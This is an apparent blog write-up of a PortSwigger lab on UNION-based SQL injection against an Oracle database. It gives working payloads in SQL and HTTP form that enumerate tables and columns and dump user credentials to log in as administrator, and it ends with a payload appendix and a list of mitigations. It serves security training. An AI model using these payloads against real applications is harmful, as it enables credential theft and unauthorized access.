Skip to main content
XsiSec.com
HomeReposBlogProjectsPortfolio
© 2026 XsiSec.com
Security rules |security.txt
Updated 2026-08-15 · v1.0.0+2026-08-14.82f92cb · 82f92cb
← Back to overview
Security article

SQL injection attack, listing the database contents on Oracle

SQL injection attack, listing the database contents on Oracle: Exploit an SQL injection in the product category filter to enumerate the database, identify the users table and its columns, dump all credentials, and log in as administrator. • PortSwigger • SQL injection • portswigger, sql-injection

2022-09-112 tags
Tags

🎯 Objective

Exploit an SQL injection in the product category filter to enumerate the database, identify the users table and its columns, dump all credentials, and log in as administrator.


🧩 Lab Context

  • Vulnerability: SQL Injection (UNION-based) in category filter
  • Endpoint: /filter?category=<payload>
  • DBMS: Oracle (confirmed via DUAL, ALL_TABLES, ALL_TAB_COLUMNS)
  • Columns in original query: 2 (determined via ORDER BY testing)

🗺️ Strategy

  1. Find column count / data types with ORDER BY and UNION probes.
  2. Confirm Oracle and pivot to DUAL.
  3. Enumerate object names using ALL_TABLES and ALL_TAB_COLUMNS.
  4. Dump sensitive rows via UNION.
  5. Use recovered creds to log in as administrator.

🔎 Discovery & Enumeration

1) Column count & type alignment

  • Initial probing showed 2 columns.
  • Mixed string/int UNIONs failed until switching to FROM DUAL (Oracle idiom).

Screenshot – Early UNION exploration Exploration / DUAL confirmation


2) Confirm Oracle & enumerate tables

Use Oracle metadata views to list tables:

sql
' UNION SELECT table_name, NULL FROM all_tables --
  • Identified target table: USERS_QKREWN

3) Enumerate columns for target table

sql
' UNION SELECT column_name, NULL 
  FROM all_tab_columns 
  WHERE table_name='USERS_QKREWN' --
  • Extracted columns:
    • USERNAME_MXVKHD
    • PASSWORD_OCMCJM

4) Dump users and passwords

sql
' UNION SELECT USERNAME_MXVKHD, PASSWORD_OCMCJM 
  FROM USERS_QKREWN --

Screenshot – Dumped credentials Dumped usernames & passwords

Use the recovered administrator credentials to authenticate.

Screenshot – Successful login Logged in as administrator


✅ Verification

  • UNION output displayed user/password pairs from the discovered table/columns.
  • Login using recovered administrator credentials succeeded.

🛡️ Mitigations (What should be fixed)

  • Use parameterized queries / prepared statements for all filter inputs.
  • Apply strict allow-lists to category values (server-side).
  • Remove direct exposure of DB metadata; ensure application role lacks SELECT on ALL_% views if not needed.
  • Centralize error handling to avoid reflection of query results from UNION paths.
  • WAF rules: treat '--, UNION, and concatenation patterns as suspicious, but do not rely solely on WAF.

📎 Appendix — Payload Library

Column counting

http
GET /filter?category=Pets' ORDER BY 1--
GET /filter?category=Pets' ORDER BY 2--
GET /filter?category=Pets' ORDER BY 3--   ← error ⇒ only 2 columns

Type alignment (Oracle)

http
GET /filter?category=Pets' UNION SELECT 'a','b' FROM DUAL--

List tables

http
GET /filter?category=Pets' UNION SELECT table_name, NULL FROM all_tables --

List columns for USERS_QKREWN

http
GET /filter?category=Pets' UNION SELECT column_name, NULL 
FROM all_tab_columns WHERE table_name='USERS_QKREWN' --

Dump creds

http
GET /filter?category=Pets' UNION SELECT USERNAME_MXVKHD, PASSWORD_OCMCJM FROM USERS_QKREWN --

🧠 Notes

  • The DUAL table is an Oracle single-row table used when a FROM clause is syntactically required.
  • Oracle metadata views used here: ALL_TABLES, ALL_TAB_COLUMNS.
  • If the application transforms output (e.g., HTML encoding), you can still extract data in the rendered page or via the raw response.
Navigate

In this post

  1. 01🎯 Objective
  2. 02🧩 Lab Context
  3. 03🗺️ Strategy
  4. 04🔎 Discovery & Enumeration
  5. 051) Column count & type alignment
  6. 062) Confirm Oracle & enumerate tables
  7. 073) Enumerate columns for target table
  8. 084) Dump users and passwords
  9. 09✅ Verification
  10. 10🛡️ Mitigations (What should be fixed)
  11. 11📎 Appendix — Payload Library
  12. 12🧠 Notes
Search
Explore

Popular tags

Browse all 30 tags

Comments

0 comments

No comments yet — be the first to comment.